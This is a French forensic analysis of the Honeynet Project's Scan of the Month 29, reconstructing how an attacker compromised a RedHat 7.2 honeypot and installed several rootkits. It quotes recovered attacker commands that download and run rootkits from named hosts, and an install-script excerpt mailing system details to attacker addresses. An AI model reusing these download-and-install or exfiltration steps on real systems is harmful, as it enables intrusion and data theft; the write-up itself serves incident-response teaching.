Scan of the Month 29 - Analyse par Christophe GRENIER

Introduction

Le projet Honeynet propose régulièrement d'étudier des outils, des tactiques utilisées par des pirates lors d'intrusion pour démontrer la réalité de ces attaques, pour apprendre comment un pirate agit, pour s'en protéger et plus généralement pour améliorer les technologies et méthodes de collecte d'information. Dans ce but, des Honeypots ont été connectés sur Internet. Ces pots de miel permettent de collecter un maximum d'information sur les agissements des pirates.

Le 10 août 2003, un système Linux RedHat 7.2 a été compromis. Le but du challenge 29 est d'analyser ce système. Ce qui rend ce challenge unique est qu'il consiste en l'analyse du système vivant. Le système tournant sous VMware un instantané du système a été pris. Il nous faut donc à partir d'un VMware Workstation 4.0 étudier cette image. Pour aider dans cette analyse, des sommes de contrôle MD5 des fichiers du système ont été prises avant son déploiement et sont disponibles sur le site de l'Honeynet Project.

Analyse

Pour commencer, récupérer sur le site de l'Honeynet l'image VMware et le fichier contenant les empreintes MD5.

[kmaster@christophe sotm29]$ md5sum linux-suspended*
1db2459dd36ac98fdcf59d1abac0f776  linux-suspended-md5s.gz
d95a8c351e048bd7d5596d6fc49b6d72  linux-suspended.tar.bz2

Vérifions l'intégrité de l'image. L'empreinte MD5 de linux-suspended.tar.bz2 correspond.

[kmaster@christophe sotm29]$ tar xvjf linux-suspended.tar.bz2
linux-2/
linux-2/linux.vmdk
linux-2/linux.vmx
linux-2/vmware.log
linux-2/nvram
linux-2/linux.vmss
linux-2/linux.png
[kmaster@christophe sotm29]$ gzip -d linux-suspended-md5s.gz
[kmaster@christophe sotm29]$ ls -l linux-2
total 535488
-rw-r--r--    1 kmaster  kmaster     95790 aoû 11 05:30 linux.png
-rw-------    1 kmaster  kmaster  446169088 aoû 11 05:30 linux.vmdk
-rw-------    1 kmaster  kmaster  101465277 aoû 11 05:30 linux.vmss
-rwxr-xr-x    1 kmaster  kmaster       777 jui 15 06:51 linux.vmx
-rw-------    1 kmaster  kmaster      8664 aoû 11 05:30 nvram
-rw-r--r--    1 kmaster  kmaster     35519 aoû 11 05:30 vmware.log

linux.vmx: Configuration de la machine virtuelle

Dans le fichier, linux.vmx se trouve la configuration réseau:

ethernet0.addressType = "generated"
ethernet0.generatedAddress = "00:0c:29:89:42:93"
ethernet0.generatedAddressOffset = "0"
Ethernet0.vnet = "/dev/vmnet0"

Le device /dev/vmnet0 propre à VMware correspond à une interface en mode pont (bridge), c'est à dire à une passerelle de niveau 2 (niveau 2=adresse MAC, niveau 3=adresse IP).

vmware.log: Log de la session précédente

Nous apprenons à partir du fichier vmware.log que la session précédente à commencer le 9 août à 14:34:23 pour être suspendu le 10 à 20:30:24. La géométrie du disque virtuel est 512/128/32.

linux.vmdk: Disque virtuel

Il y a deux sortes de disque VMware:

Dans notre cas, le disque VMware est en mode compact, c'est à dire que l'on ne peut pas utiliser la commande mount pour accéder aux données. Nous utiliserons l'équivalent venant avec VMware.

[kmaster@christophe linux-2]$ vmware-mount.pl  -p linux.vmdk

--------------------------------------------
VMware for Linux - Virtual Hard Disk Mounter
Version: 1.0 build-5592\nCopyright 1998 VMware, Inc.  All rights reserved. -- VMware Confidential
--------------------------------------------

Nr      Start       Size Type Id Sytem
-- ---------- ---------- ---- -- ------------------------
 1         32    1884128 BIOS 83 Linux
 2    1884160     212992 BIOS 82 Linux swap

Le disque compte deux partitions: une partition racine Linux et une partition swap.

[root@christophe linux-2]# vmware-mount.pl  linux.vmdk 1 -t ext3 -o ro /tmp

--------------------------------------------
VMware for Linux - Virtual Hard Disk Mounter
Version: 1.0 build-5592\nCopyright 1998 VMware, Inc.  All rights reserved. -- VMware Confidential
--------------------------------------------

It has been reported that this program does not work correctly with 2.4+ Linux
kernels in some cases, and you are currently running such a kernel. Do you
really want to continue? [N] Y

Network Block Device driver detected.

Client: The partition is now mapped on the /dev/nb0 Network Block Device.
mount : type fs incorrect, option incorrecte, superbloc incorrect sur /dev/nb0,
       ou trop de systèmes de fichiers montés

Unable to mount the Network Block Device on the /tmp mount point. Please make
sure that nothing is currently using the mount point and that your kernel
supports the partition type you want to mount before re-running this script.
[root@christophe linux-2]# Warning: Unable to issue the NBD_CLEAR_SOCK ioctl: Invalid argument

[root@christophe linux-2]# tail -f /var/log/messages
Sep  3 13:44:21 christophe kernel: NBD: Recv control failed.(result 0)
Sep  3 13:44:21 christophe kernel: req should never be null
Sep  3 13:44:21 christophe kernel: nbd: shutting down socket
Sep  3 13:44:21 christophe kernel: nbd: queue cleared
Sep  3 13:47:41 christophe kernel: EXT3-fs: Magic mismatch, very weird !
Sep  3 13:47:41 christophe kernel: NBD: receive - sock=-920767340 at buf=-987693352, size=16 returned 0.
Sep  3 13:47:41 christophe kernel: NBD: Recv control failed.(result 0)
Sep  3 13:47:41 christophe kernel: req should never be null
Sep  3 13:47:41 christophe kernel: nbd: shutting down socket
Sep  3 13:47:41 christophe kernel: nbd: queue cleared

Malheureusement, ce logiciel ne fonctionne pas, on ne peut accéder aux données avec les propres outils de VMware.

Faire tourner la machine virtuel

Configurer VMware

Après avoir installé VMware (Les versions d'évaluation fonctionnent un mois), exécuter vmware-config.pl en tant que root pour le configurer. Dans la partie configuration du réseau, utiliser uniquement vmnet0 pour établir une passerelle (bridge) vers l'interface réseau eth0.

Configurer la machine hôte

Configurer votre Linux avec ipconfig eth0:0 192.168.1.1. Désactiver l'IP-Forwarding s'il est activé. Il est même conseiller de faire tourner votre machine hors ligne.

Lancer VMware

En tant qu'utilisateur, lancer vmware et ouvrir le fichier linux.vmx

VMware summary

Cliquer sur Snapshot. Cette image instantanée nous aidera à revenir dans l'état initial. C'est très important pour réduire l'impact de nos actions sur le système.

Analyse du système à chaud

Startup screen

Le processus (swapd) a ouvert une socket obsolète SOCK_PACKET (Linux 2.0), SOCK_PACKET et SOCK_RAW (man 7 packet) sont utilisés couramment par les sniffers. eth0 est en mode promiscuous, il n'y a pas de doute: (swapd) est un sniffer.

Info
Récupérons des informations sur le système

[root@sbm79 chkrootkit-0.40]# ./chkrootkit -q
Checking `ifconfig'... INFECTED
Checking `ls'... INFECTED
Checking `netstat'... INFECTED
Checking `ps'... INFECTED
Checking `top'... INFECTED

/dev/ttyop /dev/ttyoa

/usr/lib/perl5/5.6.0/i386-linux/.packlist /lib/.x /lib/.x/.boot
/lib/.x
Warning: `//root/.bash_history' is linked to another file
INFECTED (PORTS:  3049)
You have     4 process hidden for ps command
Warning: Possible LKM Trojan installed

eth0 is PROMISC
unable to open lastlog-file lastlog

Analyse

linux.vmss: mémoire du système virtuel

Quelques informations intéressantes peuvent être trouvées en mémoire.

strings linux.vmss > memory.strings
ls -a
inel1979.go.ro/mass2.tgz
as.ro/rootkit.tar
/rk.tar.gz
ls -a
cd /usr/lib
wget irinel1979.go.ro/a.tgz
cd /tmp
wget irinel1979.go.ro/a.tgz
tar -zxvf a.tgz
ls -a
cd a
wget geocities.com/mybabywhy/rk.tar.gz
tar -zxvf rk.tar.gz
cd sand
./install
wget geocities.com/gavish19/abc.tgz
sh-2.05# wget geocities.com/gavish19/abc.tgz
--13:34:23--  http://geocities.com/gavish19/abc.tgz
           => `abc.tgz'
Connecting to geocities.com:80... 
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
sh-2.05# 
sh-2.05# wget geocities.com/mybabywhy/rk.tar.gz
--13:33:08--  http://geocities.com/mybabywhy/rk.tar.gz
           => `rk.tar.gz'
Connecting to geocities.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 701,944 [application/x-gzip]

Le pirate a téléchargé plusieurs fichiers sur Internet. Recherchons ceux qui ont été récupérés avec wget.

[kmaster@christophe sotm29]$ grep "wget " memory.strings |sort -u
sh-2.05# wget geocities.com/gavish19/abc.tgz
sh-2.05# wget geocities.com/mybabywhy/rk.tar.gz
wget geocities.com/gavish19/abc.tgz
wget geocities.com/mybabywhy/rk.tar.gz
wget irinel1979.go.ro/a.tgz
wget irinel1979.go.ro/er.tgz
wget irinel1979.go.ro/mass2.tgz
wget irinel1979.netfirms.com/er.tgz
wget izolam.net/gods
wget izolam.net/sslstop.tar.gz
wget www.i-need-ftp.as.ro/ttt.tgz
wget www.irinel1979.go.ro/er.tgz
wget www.lugojteam.as.rootkit.tar
wget www.lugojteam.as.ro/rootkit.tar
wget www.psychoid.lam3rz.de/psybnc.
## You can use this file to change the default behaviour of wget or to

Plusieurs fichiers ont été téléchargés. D'autres sont aussi disponibles sur les sites utilisés par le pirate:

http://geocities.com/mybabywhy/
       Parent Directory        31-Mar-2003 08:26      -  
 [   ] e.tar.gz                28-May-2003 14:21   363k  
 [   ] install.tgz             20-May-2003 14:41     1k  
 [   ] libncurses.so.zip       18-Sep-2003 14:20   104k  
 [   ] mech.tgz                29-May-2003 13:58   189k  
 [   ] party.tgz               05-Apr-2003 12:32     9k  
 [   ] pass.tgz                28-May-2003 14:29   223k  
 [   ] psybnc.tar.gz           31-Mar-2003 10:38   305k  
 [   ] rk.tgz                  16-May-2003 19:14   685k  

http://www.angelz.3x.ro/
       Parent Directory        19-Sep-2003 19:03      -  
 [   ] e.tgz                   27-May-2003 14:33   173k  
 [   ] instal.tgz              21-May-2003 00:32     1k  
 [DIR] mp3/                    13-May-2003 11:41      -  
 [   ] rk.tar.gz               18-May-2003 10:30   338k  
 [   ] rk.tgz                  19-May-2003 22:30   926k  
 [   ] root.tar.gz             17-May-2003 05:12   685k  
 [   ] root.tgz                19-May-2003 20:46   926k  
 [DIR] shells/                 13-May-2003 10:49      -  
 [   ] ussl.tar.gz             20-May-2003 23:54    25k  
 [DIR] windows/                13-May-2003 10:49      -  

Une analyse de ces fichiers peut être trouvés en annexe.

Récupérer l'image du disque dur

Depuis le système VMware, changer le mot de passe root et récupérer une copie de la partition ext3 via ssh:

ssh root@192.168.1.79 cat /dev/sda > sda.dd

Le problème de cette méthode est que SSH va accéder à de nombreux fichiers et altérer de ce fait le système. De manière à réduire l'impact de la copie, le plus sur est de mounter une image ISO, par exemple Forensic and Incident Response Environment http://biatchux.dmzs.com/ ou Penguin Sleuth Kit Bootable CD http://www.linux-forensics.com, une version à base de Knoppix, et de copier le disque via netcat

Sur le honeypot,

# dd if=/dev/sda bs=4k | nc -w 3 192.168.1.1 9000

Sur la machine où l'on récupère l'image,

# nc -l -p  9000 > sda.dd

Autopsy

Le système de fichier du Honeypot a été analysé avec SleuthKit et Autopsy. Il faut découper l'image du disque en partitions, utilisons mmls, un outil du SleuthKit, pour déterminer le début et la taille de chaque partition.

[kmaster@christophe data]$ ~/tools/filesystem/sleuthkit-1.65/bin/mmls -t dos sda.dd
DOS Partition Table
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  -----   0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000001   0000000031   0000000031   Unallocated
02:  00:00   0000000032   0001884159   0001884128   Linux (0x83)
03:  00:01   0001884160   0002097151   0000212992   Linux Swap / Solaris x86 (0x82)
[kmaster@christophe data]$ dd if=sda.dd skip=32 count=1884128 of=sda1.dd
1884128+0 records in
1884128+0 records out
[kmaster@christophe data]$ dd if=sda.dd skip=1884160 count=212992 of=sda2.dd
212992+0 records in
212992+0 records out
[kmaster@christophe data]$ md5sum sda1.dd sda2.dd
7ac2653ff4434fe30b6e119c862277bf  sda1.dd
cfeea6d4aa9e3114c1b4c0a9bcd166b7  sda2.dd


Le Honeypot utilise l'heure de Los Angeles (cf /etc/sysconfig/clock), donc la zone PST8PDT. Ajoutons ensuite la partition ext3 et le swap.

Dans Hash Databases, indexons la base des empreintes MD5 avec IndexDB dans la section Ignore Database. Ouvrons la racine, File Type, Sort Files by Type

Cette étape indique que 606 fichiers ont été modifiés. On identifie ainsi rapidement différents répertoires où effectuer des recherches.

Pour chaque fichier suspect, utiliser Add Note, cela permettra de construire un historique des actions sur le système.

Voici la liste des mots recherchés avec Keyword Search:

  • GET /
  • jijeljijel
  • icekey.h
  • mybabywhy
  • rk.tar
  • /dev/shm
  • Path:
  • PASS
  • 13:3
  • 15:28
  • rk\.tar\.gz
  • rootkit\.tar
  • a\.tgz
  • sanido-08\.is\.pcnet\.ro
  • 213\.154\.118
  • pcnet\.ro
  • rootkit/s_h_k
  • User Login Incoming
  • izolam\.net
  • SSH_ORIGINAL_COMMAND
  • udhss
  • redcode


La création d'une timeline des évènements à partir du 10 août permet de recréer la chronologie des évenements en observant les dates de modification, d'accès ou de création des fichiers.

Recherche de virus/troyen

La plupart des antivirus est capable de détecter les troyens les plus courant. En utilisant une version d'essai d'InterScan Virus Wall, un antivirus de chez Trend, j'ai vérifié les fichiers du HoneyPot et le répertoire où j'ai téléchargé les différentes archives du pirate. Il faut pour cela mounter la partition en lecture/écriture, il est préférable de travailler sur une seconde copie car cela va modifier le système de fichier.

VirusFichier
Système
PERL_ROOTKIT.C/mnt/tmp/usr/bin/sense
ELF_BLITZ/mnt/tmp/usr/bin/sl2
ELF_RST.B/mnt/tmp/usr/lib/sp0
ELF_GMON.A/mnt/tmp/lib/.x/log
ELF_GMON.A/mnt/tmp/lib/.x/cl
ELF_GMON.A/mnt/tmp/lib/.x/s/xopen
er.tgz
ELF_HACKTOP.A bin/top
UNIX_LION.A-1 bin/sz
UNIX_LION.A-2 bin/tksb
ELF_HACKTOP.A lib/libproc.so.2.0.6
mass2.tgz
ELF_RST.B mass2/mass
ELF_RST.B mass2/vuln
ELF_RST.B mass2/osslmass2
ELF_RST.B mass2/openssl-too
rk.tar.gz
PERL_ROOTKIT.C sand/sense
ELF_BLITZ sand/sl2
ELF_ROOTKIT.C2 sand/swapd2
rootkit.tar
ELF_ROOTKIT40-7 rootkit/ifconfig
PERL_ROOTKIT.C rootkit/plasa/sense
VirusDescription
ELF_ROOTKIT40-7 Infecte les exécutables.
ELF_BLITZ Attaque réseau SynFlood
ELF_GMON.A Ce virus de fichiers exécutables fonctionne sous Linux. Lors de son exécution, il cherche et infecte tout les fichiers ELF du répertoire courant. Il ajoute 8 759 octets de code viral sur le fichier cible. Pour éviter les surinfections, il utilise la chaîne de texte OSF pour s'identifier.
ELF_HACKTOP.A Ce cheval de Troie fonctionne sous Linux. Il apparaît comme un exécutable ELF classique, la commande top permettant de surveiller les processus. Lorsqu'il est exécuter, il permet un accès distant. Il communique aussi des informations à un pirate distant.
ELF_ROOTKIT.C2 Virus de fichier
ELF_RST.B Ce virus, similaire à ELF_GMON.A, se reconnaît par la présence du texte snortdos et tory. Linux.RST
PERL_ROOTKIT.C Virus de fichier
UNIX_LION.A-1 Virus de fichier
UNIX_LION.A-2 Efface les lignes révélant la présence du ver UNIX_LION.A dans les fichiers de log du répertoire /var/log.

Exemple de contamination provoquée par l'exécution de /lib/.x/cl, fichier infecté par ELF_GMON.A

[tmp@christophe tmp]$ md5sum hello
2091cd99017fc9a9508abde55b531ed6  hello
[tmp@christophe tmp]$ /tmp/cl

Die Putze 0.6 - The ultimate unix logfile cleaner...

        asciifile options:
         -s  <string>           - removes string from logfiles.
         -f  <file> <string>    - removes string from file.

        utmp options:
         -u  <username>         - removes username from utmp.
         -u  <username> <tty>   - removes user on given tty.

        wtmp options:
         -w  <username>         - removes last entry from wtmp.
         -w  <username> <tty>   - removes last entry on given tty.
         -ww <username>         - removes all entries for username.

        lastlog options:
         -l  <username>         - removes username lastlog entry.

        misc options:
         -h                     - to get this!

Report bugs to <genius@h07.org>.
[tmp@christophe tmp]$ md5sum hello
7a6ded8e53beee5bbfc2a32fdd2db236  hello

Des recherches sur Internet (http://www.security-focus.com/archive/100/247640) m'ont appris que ELF_GMON.A comporte une backdoor UDP et ELF_RST.B, sa variante, une backdoor plus complexe utilisant des paquets avec le protocole EGP.

L'intrusion

En utilisant les informations collectées lors de ces différentes étapes, j'ai reconstitué la chronologie de cette attaque.

13:16:27 Connexion HTTP

Le pirate s'est connecté sur le serveur web depuis l'adresse 213.154.118.219 (extreme-service-11.is.pcnet.ro).
Extrait du fragment 114422, Apache: access_log,

213.154.118.219 - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"

13:24:29 Intrusion

L'étape suivante a été l'intrusion via la faille SSL handshake d'Apache. En utilisant cette vulnérabilité, le pirate a obtenu un accès en tant qu'utilisateur apache.
Extrait du fragment 114381, Apache: ssl_engine_log,

[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:32:38 03024] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different

13:33:08 Download de rk.tar.gz

Le pirate a obtenu entre-temps les privilèges root! Comment a-t-il fait ? Il a sans doute utilisé la faille ptrace comme il le refera à 15:30:30, L'exploit qu'il utilisera alors envoie automatiquement un mail, or le fichier maillog a été effacé et aucune trace de mail n'a été trouvé à cette heure-ci. Il a peut-être utilisé le même programme d'exploitation ou peut-être une variante.

En tant que root, il télécharge un rootkit. D'après un extrait de la mémoire du système, rk.tar.gz a été téléchargé à 13:33:08 depuis geocities.com/mybabywhy/rk.tar.gz
Extrait de deleted /root/.bash_history

wget geocities.com/mybabywhy/rk.tar.gz
tar -zxvf rk.tar.gz
cd sand
./install

Analyse de rk.tar.gz

13:33:33 Installation de rk.tar.gz

# ls -clir --full-time -- /dev/ttyo* /dev/hdx1 /dev/hdx2 ...
  92010 -rwx------   1 root     root         8268 Sun Aug 10 13:33:33 2003 /usr/bin/sl2
  92006 -rwx------   1 root     root           98 Sun Aug 10 13:33:33 2003 /usr/bin/logclear
  92028 -r-x------   1 root     root        13707 Sun Aug 10 13:33:33 2003 /usr/bin/crontabs
  92030 -rwxr-xr-x   1 root     root       672527 Sun Aug 10 13:33:33 2003 /usr/bin/smbd -D
  44775 -rwxr-xr-x   1 root     root        83132 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/netstat
  45227 -r-xr-xr-x   1 root     root        63180 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/ps
  45105 -rwxr-xr-x   2 root     root        45948 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/ls
  44780 -rwxr-xr-x   1 root     root        51164 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/ifconfig
  60091 -r-xr-xr-x   1 root     root        34924 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/top
  91850 -rw-------   1 root     root          539 Sun Aug 10 13:33:33 2003 /usr/include/icekey.h
  92015 -rw-r--r--   1 root     root          692 Sun Aug 10 13:33:33 2003 /usr/include/iceconf.h
   3176 -rw-r--r--   1 root     root            5 Sun Aug 10 13:33:33 2003 /usr/include/icepid.h
  92033 -rwxr-xr-x   1 root     root        18439 Sun Aug 10 13:33:35 2003 /usr/bin/(swapd)
  62629 -rw-r--r--   1 root     root            5 Sun Aug 10 13:33:35 2003 /usr/bin/x.pid
  92023 -rw-r--r--   1 root     root            2 Sun Aug 10 13:33:35 2003 /usr/lib/libsss
  92018 -rwxr-xr-x   1 root     root          134 Sun Aug 10 13:33:57 2003 /dev/ttyoa
  92025 -rwxr-xr-x   1 root     root           59 Sun Aug 10 13:33:57 2003 /dev/ttyof
  92024 -rwxr-xr-x   1 root     root           74 Sun Aug 10 13:33:57 2003 /dev/ttyop
  92009 -rwxr-xr-x   1 root     root         4060 Sun Aug 10 13:33:57 2003 /usr/bin/sense
  92032 -rwxr-xr-x   1 506      506        165136 Sun Aug 10 13:33:57 2003 /bin/pico
  92017 -rwxr-xr-x   1 root     root        48856 Sun Aug 10 13:33:57 2003 /usr/bin/top
  92013 -rwxr-xr-x   1 root     root        30640 Sun Aug 10 13:33:57 2003 /bin/netstat
  92022 -rwxr-xr-x   1 root     root        36692 Sun Aug 10 13:33:57 2003 /bin/ls
  92011 -rwxr-xr-x   1 root     root        32756 Sun Aug 10 13:33:57 2003 /bin/ps
  92016 -rwxr-xr-x   1 root     root        22328 Sun Aug 10 13:33:57 2003 /sbin/ifconfig
# md5sum /usr/lib/libshtift/*
e984302652a0c59469a0d8826ae3cdeb  usr/lib/libshtift/ifconfig
3e743c6bfa1e34f2f2164c6a1f1096d0  usr/lib/libshtift/ls
0ea03807e53e90b147c4309573ebc76a  usr/lib/libshtift/netstat
881c7af31f6f447e29820fb73dc1dd9a  usr/lib/libshtift/ps
6091c2a0a9231844d1ee9d43f29e6767  usr/lib/libshtift/top

Les fichiers originaux de ifconfig, ls, netstat, ps et top ont été sauvegardés dans le répertoire /usr/lib/libshtift.

13:33:56 Fin de l'exécution du script install

Extrait de sand/install

./sysinfo > informatii
echo " ${WHI}Imediat iti trimit Mail ${BLU}BAH${WHI} mai ai rabdare 2 min..${RES}"
echo "                          "
cat informatii|mail -s "SANDERS root" mybabywhy@yahoo.com
cat informatii|mail -s "SANDERS root" buskyn17@yahoo.com
Extrait du fragment 16003: Mail to mybabywhy@yahoo.com information
H?D?Date: Sun, 10 Aug 2003 13:33:56 -0700
H?F?From: root <root>
H?x?Full-Name: root
H?M?Message-Id: <200308102033.h7AKXuZ03201@localhost.localdomain>
H??To: mybabywhy@yahoo.com
H??Subject: SANDERS root

Extrait de la commande ps axu:

root      3137  0.0  0.7  1900  716 ?        S    13:33   0:03 smbd -D
root      3153  0.0  0.7  1664  704 ?        S    13:33   0:00 (swapd)
root      3247  0.0  0.6  1472  592 ?        S    13:33   0:00 syslogd -m 0
root      3252  0.0  1.1  1984 1096 ?        S    13:33   0:00 klogd -2

Remarque, une commande ps axuwe --width 10000 permet d'obtenir encore plus d'information en incorporant l'environnement du processus. En particulier, on peut remarquer que syslogd a été redémaré avec le répertoire courant /tmp/sand et que initd/psyBNC a enfin le hostname de configuré sur sbm79.dtc.apu.edu et non plus localhost.localdomain.

Début du fichier /var/log/boot.log

Aug 10 13:33:57 localhost syslog: syslogd startup succeeded
Aug 10 13:33:57 localhost syslog: klogd startup succeeded
Aug 10 13:33:32 localhost syslog: syslogd shutdown succeeded
Aug 10 13:33:56 localhost syslog: klogd shutdown failed
Aug 10 13:33:57 localhost syslog: syslogd shutdown failed

Pour résumer:

13:34:23

Extrait du fichier effacé /root/.bash_history
wget geocities.com/gavish19/abc.tgz
wget geocities.com/gavish19/abc.tgz
wget www.lugojteam.as.ro/rootkit.tar
ls -a
cd informatii
wget www.lugojteam.as.ro/rootkit.tar
cd /tmp
ls -a
wget www.lugojteam.as.ro/rootkit.tar
wget irinel1979.go.ro/mass2.tgz
ls -a

Le pirate a téléchargé d'autres outils. Analyse de abc.tgz Analyse de mass2.tgz

14:13:47

Extrait du fichier /var/log/boot.log:

Aug 10 14:13:47 localhost sshd: sshd -TERM failed

14:14:01

Extrait du fichier /var/log/maillog:

Aug 10 14:14:01 localhost sendmail[4763]: h7ALE1t04763: from=apache, size=1300, class=0, nrcpts=1, msgid=<200308102114.h7ALE1t04763@localhost.localdomain>, relay=apache@localhost
Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel)
[kmaster@christophe sotm29]$ grep -r jijeljijel rootkit
rootkit/install:cat /tmp/info | mail -s "SoNkErIkI HaCk" jijeljijel@yahoo.com

Un mail a été envoyé à jijeljijel@yahoo.com, cette adresse email figure dans le programme rootkit/install, mais celui-ci n'a vraisemblablement jamais été lancé car aucun programme de ce rootkit n'a été installé.

Aug 10 14:14:41 localhost smbd -D[5505]: log: Connection from 213.154.118.218 port 2020
Aug 10 14:17:08 localhost smbd -D[8170]: log: Connection from 213.154.118.218 port 2021
Aug 10 14:17:09 localhost smbd -D[3137]: log: Generating new 768 bit RSA key.
Aug 10 14:17:10 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 14:17:17 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro.
Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication for root failed.
Aug 10 14:17:47 localhost smbd -D[8170]: fatal: Local: Too many password authentication attempts from extreme-service-10.is.pcnet.ro for user root.
  92007 -rw-------   1 root     root          512 Sun Aug 10 14:17:53 2003 /usr/include/iceseed.h

Le pirate n'a pas réussi à stopper le serveur SSH mais il a installé son propre serveur smbd -D sur le port 2003. Cependant, le pirate ne connaît même pas le mot de passe de la backdoor qui s'y trouve.

15:30:30 Root à nouveau

  35804 ----------   1 root     root            0 Sun Aug 10 15:30:30 2003 /dev/hdx1
  35833 ----------   1 root     root            0 Sun Aug 10 15:30:30 2003 /dev/hdx2
   8988 -rwsr-sr-x   1 root     root        24116 Sun Aug 10 15:30:30 2003 /dev/shm/k

Le virus ELF.RST.B a créé les fichiers /dev/hdx1 et /dev/hdx2 (Plus d'information sur ce virus) quand un des fichiers infectés (/usr/lib/sp0 probablement) a été exécuté par l'utilisateur root.

strings /dev/shm/k

/dev/shm/k est un exploit root pour la faille Linux kernel ptrace/kmod, il envoie à chaque exécution un email à newptraceuser@yahoo.com. Il a donc été lancé à 15:30:30.

Aug 10 15:30:30 localhost sendmail[23300]: h7AMUUn23300: from=apache, size=43, class=0, nrcpts=1, msgid=>200308102230.h7AMUUn23300@localhost.localdomain<, relay=apache@localhost
Aug 10 15:30:31 localhost sendmail[23321]: h7AMUVC23321: from=apache, size=43, class=0, nrcpts=1, msgid=>200308102230.h7AMUVC23321@localhost.localdomain<, relay=apache@localhost
Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel)
Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com.

15:30:54 Les scripts gods et inst sont lancés

gods (Trouvé sur la partition racine dans le fragment 36691) est un script shell qui télécharge depuis izolam.net un LKM adore et un serveur SSH 1.2.32. Ils sont ensuite installés par le programme inst.

  47169 -rw-r--r--   1 root     root         5636 Sun Aug 10 15:30:54 2003 /usr/lib/adore.o
  47171 -rw-r--r--   1 root     root         1016 Sun Aug 10 15:30:54 2003 /usr/lib/cleaner.o
  47165 -rwx------   1 apache   apache     230163 Sun Aug 10 15:30:54 2003 /usr/lib/sp0
  47166 -rw-r--r--   1 apache   apache        621 Sun Aug 10 15:30:54 2003 /usr/lib/sp0_cfg
  47161 -rw-r--r--   1 apache   apache        532 Sun Aug 10 15:30:54 2003 /usr/lib/sp0_key
  47164 -rw-r--r--   1 apache   apache        513 Sun Aug 10 15:30:54 2003 /usr/lib/sp0_seed

15:32:15 Installation de SucKIT et autres...

SucKIT est un rootkit assez connu.

-rwxr-xr-x   1 apache   apache        303 Sun Aug 10 15:32:15 2003 /lib/.x/hide
Script shell qui logue dans /lib/.x/hide.log
-rwxr-xr-x   1 apache   apache      59137 Sun Aug 10 15:32:15 2003 /lib/.x/inst
Programme d'installation de SucKIT, génère sk
-rwxr-xr-x   1 apache   apache      25795 Sun Aug 10 15:32:15 2003 /lib/.x/log
SucKIT 1.3b client
-rwxr-xr-x   1 apache   apache      17931 Sun Aug 10 15:32:15 2003 /lib/.x/cl
Die Putze 0.6 - The ultimate unix logfile cleaner...
-rw-r--r--   1 root     root            1 Sun Aug 10 15:32:15 2003 /lib/.x/ip
Devrait contenir l'adresse IP du serveur mais est vide
-rwxrwxrwx   1 root     root          340 Sun Aug 10 15:32:15 2003 /lib/.x/s/s_h_k.pub
Clé SSH publique de root@fred.psiware.net
-rwxrwxrwx   1 root     root          669 Sun Aug 10 15:32:15 2003 /lib/.x/s/sshd_config
Configuration d'un serveur SSH écoutant sur le port 22
-rwxrwxrwx   1 root     root          536 Sun Aug 10 15:32:15 2003 /lib/.x/s/s_h_k
Clé SSH privée pour root@fred.psiware.net
-rwxrwxrwx   1 root     root         5192 Sun Aug 10 15:32:15 2003 /lib/.x/s/lsn
sniffer compressé avec UPX, écrit ces résultats dans /lib/.x/s/mfs
-rw-rw-r--   1 root     root        12288 Sun Aug 10 15:32:16 2003 /etc/psdevtab
utilisé par top et ps
-rwxrwxrwx   1 root     root       217667 Sun Aug 10 15:32:16 2003 /lib/.x/s/xopen
Serveur SSH 1.2.32
-r--r--r--   1 root     root            5 Sun Aug 10 15:32:16 2003 /lib/.x/s/port
3128, le port d'écoute de xopen
